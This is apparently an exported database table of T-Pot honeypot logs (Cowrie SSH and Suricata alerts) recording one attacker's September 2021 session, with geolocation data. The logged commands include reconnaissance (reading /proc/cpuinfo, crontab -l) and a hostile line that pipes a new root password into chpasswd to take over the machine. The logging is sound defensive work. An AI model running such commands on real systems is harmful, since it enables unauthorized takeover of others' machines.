log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.37660670280456543, "duplicate": true, "timestamp": "2021-09-20T11:53:17.553215Z", "@timestamp": "2021-09-20T11:53:17.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32606	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:17.177228+03	2021-09-20 15:00:03.698716+03	{"_id": "pgYNA3wBvYTbRNuEpEsg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:17.177228Z", "@timestamp": "2021-09-20T11:53:17.177Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32607	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:18.510039+03	2021-09-20 15:00:03.700716+03	{"_id": "qQYNA3wBvYTbRNuEqEsI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:18.510039Z", "@timestamp": "2021-09-20T11:53:18.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32608	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:18.509483+03	2021-09-20 15:00:03.702717+03	{"_id": "qgYNA3wBvYTbRNuEqEsI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:18.509483Z", "@timestamp": "2021-09-20T11:53:18.509Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32615	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:07.525747+03	2021-09-20 15:00:03.710717+03	{"_id": "ZgYNA3wBvYTbRNuEfUsM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ef73d7d2592f", "@version": "1", "duration": 2.2099947929382324, "timestamp": "2021-09-20T11:53:07.525747Z", "@timestamp": "2021-09-20T11:53:07.525Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32609	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:18.876209+03	2021-09-20 15:00:03.703717+03	{"_id": "rAYNA3wBvYTbRNuEqEsI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "96.78.175.36", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.36685705184936523, "duplicate": true, "timestamp": "2021-09-20T11:53:18.876209Z", "@timestamp": "2021-09-20T11:53:18.876Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32610	142.250.187.138	109.199.241.180	Suricata	2021-09-20 14:52:59.848453+03	2021-09-20 15:00:03.704717+03	{"_id": "SAYNA3wBvYTbRNuEX0s5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:52:59.848453+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "142.250.187.138", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "142.250.187.138", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2083099774808645, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 41880, "timestamp": "2021-09-20T11:52:59.848453Z", "@timestamp": "2021-09-20T11:52:59.848Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32611	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:03.902557+03	2021-09-20 15:00:03.705717+03	{"_id": "UAYNA3wBvYTbRNuEbUtp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "0d206a306e54", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:53:03.902557Z", "@timestamp": "2021-09-20T11:53:03.902Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32612	96.78.175.36	109.199.241.180	Suricata	2021-09-20 14:53:04.086003+03	2021-09-20 15:00:03.707716+03	{"_id": "UgYNA3wBvYTbRNuEbkva", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:53:03.713619+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1700675887031187, "payload": "AAADzAYUKtqQUAK4pB7Gxix82SHz+QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48522, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:53:04.086003Z", "@timestamp": "2021-09-20T11:53:04.086Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......*..P......,|.!.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32613	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:05.313054+03	2021-09-20 15:00:03.708717+03	{"_id": "YAYNA3wBvYTbRNuEdUs7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:48878 (192.168.176.2:22) [session: ef73d7d2592f]", "session": "ef73d7d2592f", "@version": "1", "protocol": "ssh", "src_port": 48878, "dest_port": 22, "timestamp": "2021-09-20T11:53:05.313054Z", "@timestamp": "2021-09-20T11:53:05.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32614	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:05.315992+03	2021-09-20 15:00:03.709716+03	{"_id": "YQYNA3wBvYTbRNuEdUs7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ef73d7d2592f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:53:05.315992Z", "@timestamp": "2021-09-20T11:53:05.315Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32616	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:08.524266+03	2021-09-20 15:00:03.711717+03	{"_id": "awYNA3wBvYTbRNuEgEvz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:08.524266Z", "@timestamp": "2021-09-20T11:53:08.524Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32617	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:08.199329+03	2021-09-20 15:00:03.712717+03	{"_id": "agYNA3wBvYTbRNuEgEvz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "96.78.175.36", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.3776819705963135, "duplicate": true, "timestamp": "2021-09-20T11:53:08.199329Z", "@timestamp": "2021-09-20T11:53:08.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32618	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:09.193433+03	2021-09-20 15:00:03.714717+03	{"_id": "bgYNA3wBvYTbRNuEhEvd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:09.193433Z", "@timestamp": "2021-09-20T11:53:09.193Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32619	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:09.193978+03	2021-09-20 15:00:03.715716+03	{"_id": "bwYNA3wBvYTbRNuEhEvd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "echo \\"root:4RGTXlc7B2GO\\"|chpasswd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: echo \\"root:4RGTXlc7B2GO\\"|chpasswd|bash", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:09.193978Z", "@timestamp": "2021-09-20T11:53:09.193Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32620	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:09.852522+03	2021-09-20 15:00:03.716717+03	{"_id": "cQYNA3wBvYTbRNuEhEvd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:09.852522Z", "@timestamp": "2021-09-20T11:53:09.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32621	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:09.853061+03	2021-09-20 15:00:03.717716+03	{"_id": "cgYNA3wBvYTbRNuEhEvd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:09.853061Z", "@timestamp": "2021-09-20T11:53:09.853Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32622	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:10.885869+03	2021-09-20 15:00:03.718716+03	{"_id": "cwYNA3wBvYTbRNuEiEvF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "96.78.175.36", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.36730504035949707, "duplicate": true, "timestamp": "2021-09-20T11:53:10.885869Z", "@timestamp": "2021-09-20T11:53:10.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32623	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:11.856365+03	2021-09-20 15:00:03.720716+03	{"_id": "eQYNA3wBvYTbRNuEjEuu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:11.856365Z", "@timestamp": "2021-09-20T11:53:11.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32624	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:11.856902+03	2021-09-20 15:00:03.721717+03	{"_id": "egYNA3wBvYTbRNuEjEuu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:11.856902Z", "@timestamp": "2021-09-20T11:53:11.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
